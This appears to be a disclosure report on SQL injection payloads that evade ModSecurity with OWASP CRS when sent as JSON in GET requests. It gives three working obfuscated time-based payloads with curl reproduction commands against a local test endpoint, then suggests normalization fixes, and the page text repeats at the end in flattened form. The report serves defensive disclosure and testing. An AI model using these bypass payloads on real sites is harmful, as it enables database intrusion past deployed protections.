[ModSecurity][GET(JSON)] SQLi bypass via lexical-separator variants and literal/annotation variants
Summary
- WAF:
ModSecurity
- Request manner:
GET(JSON)
- Defect pattern: Lexical-separator variants and literal/annotation variants.
- Evaluation scope:
623 unique SQLi mutation attempts; 257 successful bypasses were observed in this manner.
- In our log format,
1 => 0 means the WAF decision changed from malicious/blocked to benign/allowed.
Environment
- WAF version:
3.0.6
- Notes: ModSecurity-nginx connector
v1.0.2; OWASP Core Rule Set 3.3.2; OpenResty 1.19.9.1.
Mutation Rules Involved
The study associates this pattern with the following concrete fuzzer rules:
- command_injection: combines space-to-comment substitution with comment rewriting
- random_case: randomly changes capitalization of SQL keywords
- spaces_to_comments: replaces spaces with inline block comments, or block comments with spaces
- comment_rewriting: appends noise after line comments or rewrites block-comment contents
- inline_comment: wraps SQL keywords in MySQL executable comments such as
/*!SELECT*/
Invisible-character Notation
The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:
<TAB> = horizontal tab (\t, U+0009)
<LF> = line feed (\n, U+000A)
<CR> = carriage return (\r, U+000D)
<FF> = form feed (\f, U+000C)
<VT> = vertical tab (\v, U+000B)
<NBSP> = non-breaking space (U+00A0)
Representative Successful Examples
Case 1
- Final decision change:
1 => 0
- Matching rationale: The transformed payload relies on separator, literal, or annotation changes that should normalize to the same SQL token stream. Observable features: lexical separator, literal variant, annotation variant.
- Original payload excerpt:
...1%"));begin user_lock.sleep(5); end and (("%"="
- Transformed payload excerpt, with invisible characters rendered explicitly:
(/*TQ6M#*//*0x2@zCf*/0x1)%"));begin user_lock.sleep((SELECT/*Lhd#*/(SELECT/**/(SELECT/**/5))));/**/end/**/and/*tYS}*/(("%"=")Tu
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf
- Method:
GET
- JSON carrier query parameter:
data
- JSON object before transport encoding:
{"id":"<payload>"}
- Transport encoding: the full JSON object is percent-encoded in the query string.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%22%28%2F%2ATQ6M%23%2A%2F%2F%2A0x2%40zCf%2A%2F0x1%29%25%5C%22%29%29%3Bbegin%20user_lock.sleep%28%28SELECT%2F%2ALhd%23%2A%2F%28SELECT%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5%29%29%29%29%3B%2F%2A%2A%2Fend%2F%2A%2A%2Fand%2F%2AtYS%7D%2A%2F%28%28%5C%22%25%5C%22%3D%5C%22%29Tu%22%7D'
Case 2
- Final decision change:
1 => 0
- Matching rationale: The transformed payload relies on separator, literal, or annotation changes that should normalize to the same SQL token stream. Observable features: lexical separator, literal variant, annotation variant.
- Original payload excerpt:
- Transformed payload excerpt, with invisible characters rendered explicitly:
/* =jl$*/<TAB>/*nA?*//*_#<VT>*/'%' <TAB>/*0x8#$X1*/ '0x7*.0x4
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf
- Method:
GET
- JSON carrier query parameter:
data
- JSON object before transport encoding:
{"id":"<payload>"}
- Transport encoding: the full JSON object is percent-encoded in the query string.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%22%20%2F%2A%20%3Djl%24%2A%2F%5Ct%2F%2AnA%3F%2A%2F%2F%2A_%23%5Cu000b%2A%2F%27%25%27%20%5Ct%2F%2A0x8%23%24X1%2A%2F%20%270x7%2A.0x4%22%7D'
Case 3
- Final decision change:
1 => 0
- Matching rationale: The transformed payload relies on separator, literal, or annotation changes that should normalize to the same SQL token stream. Observable features: lexical separator, literal variant, annotation variant.
- Original payload excerpt:
...1" where 9669=9669;select sleep(5)--
- Transformed payload excerpt, with invisible characters rendered explicitly:
1"/*K?2*//*=*//*bE*/9669=0x25c5;/**//*L\\#1O*/sleep((select 0x5))--<q
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf
- Method:
GET
- JSON carrier query parameter:
data
- JSON object before transport encoding:
{"id":"<payload>"}
- Transport encoding: the full JSON object is percent-encoded in the query string.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%221%5C%22%2F%2AK%3F2%2A%2F%2F%2A%3D%2A%2F%2F%2AbE%2A%2F9669%3D0x25c5%3B%2F%2A%2A%2F%2F%2AL%5C%5C%231O%2A%2Fsleep%28%28select%200x5%29%29--%3Cq%22%7D'
Suggested Fixes
- Apply canonicalization before SQLi matching: collapse TAB/CR/VT/FF/NBSP to ordinary spaces, normalize keyword case, and safely process regular and executable comments.
- Normalize literal forms and comment-split tokens, for example
0x1 to 1 and uni/**/on to union, before evaluating SQLi rules.
- Add these transformed payloads as regression tests and assert that they remain blocked after the fix.
Validation Plan
- Replay the representative transformed payloads through the same request manner and confirm that the WAF still blocks them.
- Add negative tests with benign requests containing ordinary comments, whitespace, or JSON formatting to monitor false positives.
- Run the same canonicalization path across GET, GET(JSON), and POST to prevent request-manner-specific drift.
[ModSecurity][GET(JSON)] SQLi bypass via lexical-separator variants and literal/annotation variants
Summary
ModSecurityGET(JSON)623unique SQLi mutation attempts;257successful bypasses were observed in this manner.1 => 0means the WAF decision changed from malicious/blocked to benign/allowed.Environment
3.0.6v1.0.2; OWASP Core Rule Set3.3.2; OpenResty1.19.9.1.Mutation Rules Involved
The study associates this pattern with the following concrete fuzzer rules:
/*!SELECT*/Invisible-character Notation
The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:
<TAB>= horizontal tab (\t, U+0009)<LF>= line feed (\n, U+000A)<CR>= carriage return (\r, U+000D)<FF>= form feed (\f, U+000C)<VT>= vertical tab (\v, U+000B)<NBSP>= non-breaking space (U+00A0)Representative Successful Examples
Case 1
1 => 0Minimal Reproduction
http://127.0.0.1:9000/wafGETdata{"id":"<payload>"}1 => 0).curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%22%28%2F%2ATQ6M%23%2A%2F%2F%2A0x2%40zCf%2A%2F0x1%29%25%5C%22%29%29%3Bbegin%20user_lock.sleep%28%28SELECT%2F%2ALhd%23%2A%2F%28SELECT%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5%29%29%29%29%3B%2F%2A%2A%2Fend%2F%2A%2A%2Fand%2F%2AtYS%7D%2A%2F%28%28%5C%22%25%5C%22%3D%5C%22%29Tu%22%7D'Case 2
1 => 0Minimal Reproduction
http://127.0.0.1:9000/wafGETdata{"id":"<payload>"}1 => 0).curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%22%20%2F%2A%20%3Djl%24%2A%2F%5Ct%2F%2AnA%3F%2A%2F%2F%2A_%23%5Cu000b%2A%2F%27%25%27%20%5Ct%2F%2A0x8%23%24X1%2A%2F%20%270x7%2A.0x4%22%7D'Case 3
1 => 0Minimal Reproduction
http://127.0.0.1:9000/wafGETdata{"id":"<payload>"}1 => 0).curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%221%5C%22%2F%2AK%3F2%2A%2F%2F%2A%3D%2A%2F%2F%2AbE%2A%2F9669%3D0x25c5%3B%2F%2A%2A%2F%2F%2AL%5C%5C%231O%2A%2Fsleep%28%28select%200x5%29%29--%3Cq%22%7D'Suggested Fixes
0x1to1anduni/**/ontounion, before evaluating SQLi rules.Validation Plan